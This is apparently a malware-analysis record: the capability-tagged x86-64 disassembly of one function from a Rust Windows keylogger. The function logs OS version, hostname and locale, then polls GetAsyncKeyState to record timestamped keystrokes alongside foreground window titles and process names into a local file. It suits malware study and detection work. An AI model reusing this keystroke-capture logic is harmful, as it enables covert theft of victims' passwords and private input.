Function at 0x40219d
Capabilities:
Check os version
Get graphical window text
Get hostname
Get process image filename
Get system information on windows
Log keystrokes via polling

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x2a8
lea rdi, [rsp + 0x258]
mov rcx, rdi
call sym.chrono::offset::utc::Utc::now::hb712619381e84f44
lea rsi, [rsp + 0x100]
mov rcx, rsi
mov rdx, rdi
call sym.__chrono::datetime::DateTime_Tz__::naive_local::hc03452666ebadf1a
mov eax, dword [rsi]
lea r14, [rsp + 0xe8]
mov dword [r14], eax
mov rcx, rdi
call sym.__chrono::datetime::DateTime_Tz__as_chrono::Timelike_::hour::hc127d2de9f32b495
lea rbp, [rsp + 0xc0]
mov dword [rbp], eax
mov rcx, rdi
call sym.__chrono::datetime::DateTime_Tz__as_chrono::Timelike_::minute::h6f7ec103d802703f
lea rbx, [rsp + 0x98]
mov dword [rbx], eax
mov rcx, rdi
call sym.__chrono::datetime::DateTime_Tz__as_chrono::Timelike_::second::h589b55fdae9e195a
lea rcx, [rsp + 0x20]
mov dword [rcx], eax
mov qword [rsi], r14
lea rax, [sym.__chrono::date::Date_Tz__as_core::fmt::Display_::fmt::h83bebdf75dbed2ff]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rbp
lea rax, [sym.core::fmt::num::__impl_core::fmt::Display_for_u32_::fmt::h3313a28dc6643926]
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x20], rbx
mov qword [rsi + 0x28], rax
mov qword [rsi + 0x30], rcx
mov qword [rsi + 0x38], rax
lea rax, str.log_.log
lea rdi, [rsp + 0x50]
mov qword [rdi], rax
mov qword [rdi + 8], 5
lea rax, [0x00425938]
mov qword [rdi + 0x10], rax
mov eax, 4
mov qword [rdi + 0x18], rax
mov qword [rdi + 0x20], rsi
mov qword [rdi + 0x28], rax
lea rsi, [rsp + 0x268]
mov rcx, rsi
mov rdx, rdi
call dbg.format
movabs rax, 0x700000000
mov qword [rdi + 0x14], rax
xorps xmm0, xmm0
movaps xmmword [rdi], xmm0
and qword [rdi + 0x1c], 0
and word [rdi + 0x24], 0
mov al, 1
mov byte [rdi + 0x21], al
mov byte [rdi + 0x24], al
mov r8, qword [rsi]
mov r9, qword [rsi + 0x10]
lea r15, [rsp + 0x20]
lea r12, [rsp + 0x50]
mov rcx, r15
mov rdx, r12
call sym.std::fs::OpenOptions::_open::h24aa2f5b9e8c5bec
cmp qword [rsp + 0x20], 1
je 0x4037ed
mov rsi, qword [rsp + 0x28]
lea rdx, str.Logheader_nOS:_type:___version:
lea rbx, [rsp + 0x100]
mov r8d, 0x14
mov rcx, rbx
call sym.__alloc::string::String_as_core::convert::From_a_str__::from::h8d17d157bc7e8572
mov qword [rsp + 0xb0], rsi
mov rcx, rsi
mov rdx, rbx
call sym.win_keylogger_rs::log::h3a370e9ac6debc6c
mov rax, qword [0x00426e90]
and qword [rsp + 0x50], 0
and qword [rsp + 0x70], 0
mov byte [rsp + 0x88], 0xd
lea rbx, [rsp + 0x104]
xor edx, edx
mov r8d, 0x118
mov rcx, rbx
call sub.msvcrt.dll_memset
mov dword [rbx - 4], 0x11c
lea rcx, [rsp + 0x100]
call sub.ntdll.dll_RtlGetVersion
test eax, eax
je 0x402391
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
movups xmm2, xmmword [rsp + 0x70]
movups xmm3, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x130], xmm3
movaps xmmword [rsp + 0x120], xmm2
movaps xmmword [rsp + 0x110], xmm1
movaps xmmword [rsp + 0x100], xmm0
jmp 0x4025a8
mov edi, dword [rsp + 0x104]
mov esi, dword [rsp + 0x108]
mov eax, dword [rsp + 0x10c]
mov bl, byte [rsp + 0x21a]
cmp rdi, 5
mov qword [rsp + 0xb8], rax
je 0x40242b
cmp edi, 6
je 0x4023f1
cmp edi, 0xa
jne case.default.0x402404
test esi, esi
jne case.default.0x402404
xor eax, eax
cmp bl, 1
setne al
lea r8, [rax + rax*8 + 0xa]
lea rax, [0x00425b7b]
lea rdx, [0x00425b85]
jmp 0x4024de
cmp esi, 3
ja case.default.0x402404
lea rax, [0x004039ec]
movsxd rcx, dword [rax + rsi*4]
add rcx, rax
jmp rcx
cmp bl, 1
mov eax, 0xd
mov r8d, 0x13
cmove r8, rax
lea rax, [0x00425bf4]
lea rdx, [0x00425c01]
jmp 0x4024de
test esi, esi
je 0x40246b
cmp esi, 1
je 0x40245c
cmp esi, 2
jne case.default.0x402404
movzx r13d, word [rsp + 0x218]
mov ecx, 0x59
call sub.USER32.dll_GetSystemMetrics
test eax, eax
je 0x40378c
xor r13d, r13d
jmp 0x4024fe
lea rdx, [0x00425c20]
mov r8d, 0xa
jmp 0x4024e2
lea rdx, [0x00425c14]
mov r8d, 0xc
jmp 0x4024e2
cmp bl, 1
mov eax, 9
mov r8d, 0x13
cmove r8, rax
lea rax, [0x00425bb9]
lea rdx, [0x00425bc2]
jmp 0x4024de
cmp bl, 1
mov eax, 0xb
mov r8d, 0x16
cmove r8, rax
lea rax, [0x00425b98]
lea rdx, [0x00425ba3]
jmp 0x4024de
cmp bl, 1
mov eax, 9
mov r8d, 0x16
cmove r8, rax
lea rax, [0x00425bd5]
lea rdx, [0x00425bde]
cmove rdx, rax
lea rbx, [rsp + 0x100]
mov rcx, rbx
call sym.alloc::slice::__impl_alloc::borrow::ToOwned_for__T__::to_owned::hcd6a25227c07cae1
mov r13, qword [rbx]
movups xmm0, xmmword [rbx + 8]
movaps xmmword [rsp + 0x20], xmm0
lea rbx, [rsp + 0x78]
movaps xmm0, xmmword [rsp + 0x20]
movaps xmmword [rsp + 0x100], xmm0
lea rcx, [rsp + 0x50]
call sym.core::ptr::drop_in_place::h73578e6cf6824e54
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rsi
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], r13
movaps xmm0, xmmword [rsp + 0x100]
movups xmmword [rbx], xmm0
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x120], rdi
mov qword [rsp + 0x128], rsi
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rbx
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], rcx
mov rax, qword [0x00426e90]
lea rdx, [rsp + 0x100]
movaps xmm0, xmmword [rdx]
movaps xmm1, xmmword [rdx + 0x10]
movaps xmm2, xmmword [rdx + 0x20]
movaps xmm3, xmmword [rdx + 0x30]
movaps xmmword [rsp + 0x80], xmm3
movaps xmmword [rsp + 0x70], xmm2
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
mov al, byte [rsp + 0x88]
mov byte [rsp + 0xe8], al
mov qword [rsp + 0xc0], r12
mov qword [rsp + 0x20], r14
lea rax, [sym.__os_info::os_type::Type_as_core::fmt::Display_::fmt::he10281bcc28166ce]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rbp
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h7c137d6ed06476e3]
mov qword [rsp + 0x38], rax
lea rax, [0x00425298]
mov qword [rdx], rax
mov qword [rdx + 8], 3
lea rax, [0x0042ad00]
mov qword [rdx + 0x10], rax
mov eax, 2
mov qword [rdx + 0x18], rax
mov qword [rdx + 0x20], r15
mov qword [rdx + 0x28], rax
lea rcx, [rsp + 0x98]
call dbg.format
lea rcx, [rsp + 0x50]
call sym.core::ptr::drop_in_place::h404095e5544e1f0e
mov rax, qword [rsp + 0xa8]
lea rdx, [rsp + 0x100]
mov qword [rdx + 0x10], rax
movups xmm0, xmmword [rsp + 0x98]
movaps xmmword [rdx], xmm0
mov rcx, qword [rsp + 0xb0]
call sym.win_keylogger_rs::log::h3a370e9ac6debc6c
xorps xmm0, xmm0
lea rdi, [rsp + 0xc0]
movaps xmmword [rdi], xmm0
lea rdx, [rsp + 0xe8]
mov dword [rdx], 0x10
mov rcx, rdi
call sub.KERNEL32.dll_GetComputerNameA
test eax, eax
je 0x402702
mov ebx, dword [rsp + 0xe8]
cmp rbx, 0x11
jae 0x403854
mov qword [rsp + 0x100], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x108], xmm0
test ebx, ebx
je 0x40270d
mov edx, 1
mov rcx, rbx
call sym.__rust_alloc
test rax, rax
je 0x403866
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], rbx
jmp 0x402712
and qword [rsp + 0x50], 0
jmp 0x4027eb
mov eax, 1
lea rbp, [rsp + rbx]
add rbp, 0xc0
xor ecx, ecx
jmp 0x40272e
mov dl, byte [rsp + rcx + 0xc0]
mov byte [rax + rcx], dl
inc rcx
cmp rbx, rcx
jne 0x402721
sub rbp, rdi
mov qword [rsp + 0x110], rbp
mov rdi, qword [rsp + 0x100]
mov rsi, qword [rsp + 0x108]
lea rbx, [rsp + 0x50]
mov rcx, rbx
mov rdx, rdi
mov r8, rbp
call dbg.from_utf8
cmp qword [rbx], 1
jne 0x402788
movups xmm0, xmmword [rsp + 0x58]
movaps xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x108], rdi
movups xmmword [rsp + 0x120], xmm0
mov eax, 1
jmp 0x402792
mov qword [rsp + 0x108], rdi
xor eax, eax
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rbp
mov qword [rsp + 0x100], rax
test rax, rax
je 0x4027c4
and qword [rsp + 0x50], 0
lea rcx, [rsp + 0x108]
call sym.__alloc::raw_vec::RawVec_T__A__::dealloc_buffer::he9c65489815789ed
jmp 0x4027eb
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x58], rax
lea rdx, str._NO_HOSTNAME_Couldnt_write_to_log_file:
lea rcx, [rsp + 0x100]
mov r8d, 0xd
call sym.__alloc::string::String_as_core::convert::From_a_str__::from::h8d17d157bc7e8572
cmp qword [rsp + 0x50], 0
je 0x402830
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x100]
call sym.__alloc::raw_vec::RawVec_T__A__as_core::ops::drop::Drop_::drop::hff65768293c2d1b0
jmp 0x402854
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x30], rax
movups xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x50]
call sym.core::ptr::drop_in_place::h109893c674a9bc58
lea rcx, [rsp + 0x228]
mov qword [rcx], r15
lea rax, [sym.__alloc::string::String_as_core::fmt::Display_::fmt::h38eb3d4cd019d06e]
mov qword [rcx + 8], rax
lea rax, str.Hostname:
lea rdx, [rsp + 0x100]
mov qword [rdx], rax
mov qword [rdx + 8], 2
lea rax, [0x0042abf0]
mov qword [rdx + 0x10], rax
mov eax, 1
mov qword [rdx + 0x18], rax
mov qword [rdx + 0x20], rcx
mov qword [rdx + 0x28], rax
lea rcx, [rsp + 0x50]
call dbg.format
lea r13, [rsp + 0x20]
mov rcx, r13
call sym.__alloc::raw_vec::RawVec_T__A__as_core::ops::drop::Drop_::drop::hff65768293c2d1b0
mov rax, qword [rsp + 0x60]
lea rdx, [rsp + 0x100]
mov qword [rdx + 0x10], rax
movups xmm0, xmmword [rsp + 0x50]
movaps xmmword [rdx], xmm0
mov rcx, qword [rsp + 0xb0]
call sym.win_keylogger_rs::log::h3a370e9ac6debc6c
lea rcx, [rsp + 0x100]
mov edx, 0x40
call sym.alloc::vec::from_elem::h01b21492a874a75f
mov rsi, qword [rsp + 0x100]
mov edx, 0x40
mov rcx, rsi
call sub.KERNEL32.dll_GetUserDefaultLocaleName
mov rax, qword [rsp + 0x110]
add rax, rax
xor edx, edx
xor ecx, ecx
jmp 0x40292f
cmp word [rsi + rcx*2], 0
mov rbp, rdx
cmove rbp, rcx
test rdx, rdx
cmove rdx, rbp
inc rcx
add rax, 0xfffffffffffffffe
test rax, rax
jne 0x402915
lea rcx, [rsp + 0x100]
call sym.__alloc::vec::Vec_T__as_core::ops::index::IndexMut_I__::index_mut::h715ebd91fc8c104b
mov rbp, rdx
lea rsi, [rsp + 0x280]
mov rcx, rsi
mov rdx, rax
mov r8, rbp
call sym.alloc::string::String::from_utf16_lossy::he3f1c4711805a219
lea rdi, [rsp + 0x100]
mov rcx, rdi
call sym.core::ptr::drop_in_place::h6890f3422b3582b9
mov qword [rsp + 0x20], rsi
lea rax, [sym.__alloc::string::String_as_core::fmt::Display_::fmt::h38eb3d4cd019d06e]
mov qword [rsp + 0x28], rax
lea rax, str.Locale:_0PB
mov qword [rdi], rax
mov qword [rdi + 8], 2
lea rax, [0x0042abf0]
mov qword [rdi + 0x10], rax
mov eax, 1
mov qword [rdi + 0x18], rax
mov qword [rdi + 0x20], r13
mov qword [rdi + 0x28], rax
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x100]
call dbg.format
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0xb0]
call sym.win_keylogger_rs::log::h3a370e9ac6debc6c
lea rdx, str._nKeylogs:_n__NO_TITLE______n
lea r12, [rsp + 0x100]
mov r8d, 0xa
mov rcx, r12
call sym.__alloc::string::String_as_core::convert::From_a_str__::from::h8d17d157bc7e8572
mov rcx, qword [rsp + 0xb0]
mov rdx, r12
call sym.win_keylogger_rs::log::h3a370e9ac6debc6c
lea rbp, [rsp + 0xe8]
lea r14, [rsp + 0x298]
jmp 0x403671
lea rsi, [rax - 1]
lea rcx, [rbx + rsi*2]
lea rdx, [rbx + rax*2]
mov r8, rsi
not r8
add r8, rax
add r8, r8
call sub.msvcrt.dll_memmove
mov qword [rsp + 0x60], rsi
mov rcx, r12
mov rdx, rbx
mov r8, rsi
call sym.alloc::string::String::from_utf16_lossy::he3f1c4711805a219
mov rcx, r13
call sym.__alloc::raw_vec::RawVec_T__A__as_core::ops::drop::Drop_::drop::hff65768293c2d1b0
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x30], rax
movups xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x50]
call sym.core::ptr::drop_in_place::h6890f3422b3582b9
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xd0], rax
movaps xmm0, xmmword [rsp + 0x20]
movaps xmmword [rsp + 0xc0], xmm0
mov rcx, r14
call sym.chrono::offset::utc::Utc::now::hb712619381e84f44
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0xb8], rax
mov rsi, qword [rsp + 0xf8]
mov rbp, qword [rsp + 0xc0]
mov r15, qword [rsp + 0xd0]
xor ebx, ebx
cmp ebx, 0xfe
ja 0x403654
mov edi, ebx
lea ebx, [rdi + 1]
mov ecx, edi
call sub.USER32.dll_GetAsyncKeyState
test al, 1
je 0x402ab7
mov rcx, r14
call sym.__chrono::datetime::DateTime_Tz__as_chrono::Timelike_::hour::hc127d2de9f32b495
mov dword [rsp + 0xdc], eax
mov rcx, r14
call sym.__chrono::datetime::DateTime_Tz__as_chrono::Timelike_::minute::h6f7ec103d802703f
mov dword [rsp + 0xe0], eax
mov rcx, r14
call sym.__chrono::datetime::DateTime_Tz__as_chrono::Timelike_::second::h589b55fdae9e195a
mov dword [rsp + 0xe4], eax
mov rcx, qword [rsp + 0xb8]
mov rdx, rsi
call dbg.trim
mov qword [rsp + 0x238], rax
mov qword [rsp + 0x240], rdx
mov rcx, rbp
mov rdx, r15
call dbg.trim
mov qword [rsp + 0x248], rax
mov qword [rsp + 0x250], rdx
mov byte [rsp + 0x4f], dil
lea eax, [rdi + 0xbf]
cmp al, 0x1a
jb 0x402b82
lea eax, [rdi + 0xd0]
cmp al, 0xa
jb 0x402b82
xor eax, eax
test al, al
jne case.0x402b74.8
add dil, 0x80
movzx eax, dil
lea rcx, [0x004039fc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rdx, [0x004255c8]
jmp 0x403523
mov dword [rsp + 0x98], edi
lea rax, [rsp + 0x98]
mov qword [rsp + 0x50], rax
lea rax, [sym.__char_as_core::fmt::Display_::fmt::hc716090b3b6461e9]
mov qword [rsp + 0x58], rax
lea rax, [0x0042abe0]
mov qword [rsp + 0x100], rax
mov ecx, 1
mov qword [rsp + 0x108], rcx
lea rax, [0x0042abf0]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rcx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rcx
mov rcx, r13
mov rdx, r12
call dbg.format
jmp 0x403533
lea rdx, [0x004255c2]
jmp 0x403523
lea rdx, [0x004255a4]
jmp 0x403523
lea rdx, [0x004255aa]
jmp 0x403523
lea rdx, [0x004255bc]
jmp 0x403523
lea rdx, [0x0042559e]
jmp 0x403523
lea rdx, [0x004255b0]
jmp 0x403523
lea rax, [rsp + 0x4f]
mov qword [rsp + 0x228], rax
lea rax, [sym.core::fmt::num::__impl_core::fmt::Display_for_u8_::fmt::h6e07213ca1d934bf]
mov qword [rsp + 0x230], rax
lea rax, str.CODE_
mov qword [rsp + 0x100], rax
mov ecx, 1
mov qword [rsp + 0x108], rcx
lea rax, [0x0042abf0]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rcx
lea rax, [rsp + 0x228]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rcx
mov rcx, r13
mov rdx, r12
call dbg.format
jmp 0x403533
lea rdx, [0x004255b6]
lea rcx, [rsp + 0x20]
mov r8d, 6
call sym.__alloc::string::String_as_core::convert::From_a_str__::from::h8d17d157bc7e8572
lea rax, [rsp + 0xdc]
mov qword [rsp + 0x100], rax
lea rax, [sym.core::fmt::num::__impl_core::fmt::Display_for_u32_::fmt::h3313a28dc6643926]
mov qword [rsp + 0x108], rax
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
lea rcx, [rsp + 0xe4]
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x128], rax
lea rax, [rsp + 0x238]
mov qword [rsp + 0x130], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h43de8750dc6c6b51]
mov qword [rsp + 0x138], rax
lea rcx, [rsp + 0x248]
mov qword [rsp + 0x140], rcx
mov qword [rsp + 0x148], rax
mov qword [rsp + 0x150], r13
lea rax, [sym.__alloc::string::String_as_core::fmt::Display_::fmt::h38eb3d4cd019d06e]
mov qword [rsp + 0x158], rax
lea rax, [0x00425078]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 7
lea rax, [0x004250e8]
mov qword [rsp + 0x60], rax
mov eax, 6
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x98]
lea rdx, [rsp + 0x50]
call dbg.format
mov rcx, r13
call sym.__alloc::raw_vec::RawVec_T__A__as_core::ops::drop::Drop_::drop::hff65768293c2d1b0
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x110], rax
movups xmm0, xmmword [rsp + 0x98]
movaps xmmword [rsp + 0x100], xmm0
mov rcx, qword [rsp + 0xb0]
mov rdx, r12
call sym.win_keylogger_rs::log::h3a370e9ac6debc6c
jmp 0x402ab7
lea rcx, [rsp + 0xc0]
call sym.__alloc::raw_vec::RawVec_T__A__as_core::ops::drop::Drop_::drop::hff65768293c2d1b0
lea rbp, [rsp + 0xe8]
mov rcx, rbp
call sym.__alloc::raw_vec::RawVec_T__A__as_core::ops::drop::Drop_::drop::hff65768293c2d1b0
mov ecx, 0xa
call sub.KERNEL32.dll_Sleep
call sub.USER32.dll_GetForegroundWindow
mov rdi, rax
and dword [rsp + 0x100], 0
mov rcx, rax
mov rdx, r12
call sub.USER32.dll_GetWindowThreadProcessId
mov r8d, dword [rsp + 0x100]
mov ecx, 0x1000
xor edx, edx
call sub.KERNEL32.dll_OpenProcess
mov rsi, rax
mov edx, 0xff
mov rcx, r12
call sym.alloc::vec::from_elem::h01b21492a874a75f
mov rbx, qword [rsp + 0x100]
mov r8d, 0xff
mov rcx, rsi
mov rdx, rbx
call sub.PSAPI.DLL_GetProcessImageFileNameW
mov rax, qword [rsp + 0x110]
add rax, rax
xor edx, edx
xor ecx, ecx
jmp 0x4036fe
cmp word [rbx + rcx*2], 0
mov rsi, rdx
cmove rsi, rcx
test rdx, rdx
cmove rdx, rsi
inc rcx
add rax, 0xfffffffffffffffe
test rax, rax
jne 0x4036e4
mov rcx, r12
call sym.__alloc::vec::Vec_T__as_core::ops::index::IndexMut_I__::index_mut::h715ebd91fc8c104b
mov rbx, rdx
mov rcx, rbp
mov rdx, rax
mov r8, rbx
call sym.alloc::string::String::from_utf16_lossy::he3f1c4711805a219
mov rcx, r12
call sym.core::ptr::drop_in_place::h6890f3422b3582b9
mov rcx, rdi
call sub.USER32.dll_GetWindowTextLengthW
mov esi, eax
inc esi
mov r8d, 0xc
mov rcx, r13
lea rdx, [0x00425062]
call sym.__alloc::string::String_as_core::convert::From_a_str__::from::h8d17d157bc7e8572
test esi, esi
jle 0x402a6b
movsxd rdx, esi
lea rcx, [rsp + 0x50]
call sym.alloc::vec::from_elem::h01b21492a874a75f
mov rbx, qword [rsp + 0x50]
mov rcx, rdi
mov rdx, rbx
mov r8d, esi
call sub.USER32.dll_GetWindowTextW
mov rax, qword [rsp + 0x60]
test rax, rax
jne 0x402a0f
lea rcx, str.assertion_failed:_index___lenliballoc_vec.rs
call dbg.panic
xorps xmm0, xmm0
lea rcx, [rsp + 0x100]
movaps xmmword [rcx + 0x20], xmm0
movaps xmmword [rcx + 0x10], xmm0
movaps xmmword [rcx], xmm0
call sub.KERNEL32.dll_GetSystemInfo
mov r8d, 0x13
test r13w, r13w
js 0x4037e1
cmp bl, 1
jne 0x4037d5
cmp word [rsp + 0x100], 9
jne 0x4037d5
lea rdx, [0x00425c50]
mov r8d, 0x23
jmp 0x4024e2
lea rdx, [0x00425c3d]
jmp 0x4024e2
lea rdx, [0x00425c2a]
jmp 0x4024e2
movups xmm0, xmmword [rsp + 0x28]
movaps xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0x98], rbp
lea rax, [sym.__std::io::error::Error_as_core::fmt::Display_::fmt::h765f4158285bb383]
mov qword [rsp + 0xa0], rax
lea rax, str.Couldnt_create_Output_file:
lea rcx, [rsp + 0x100]
mov qword [rcx], rax
mov eax, 1
mov qword [rcx + 8], rax
lea rdx, [0x0042abf0]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
mov qword [rcx + 0x20], rbx
mov qword [rcx + 0x28], rax
lea rdx, str.srcmain.rs
call dbg.begin_panic_fmt
mov edx, 0x10
mov rcx, rbx
call dbg.slice_index_len_fail
mov edx, 1
mov rcx, rbx
call dbg.handle_alloc_error
ud2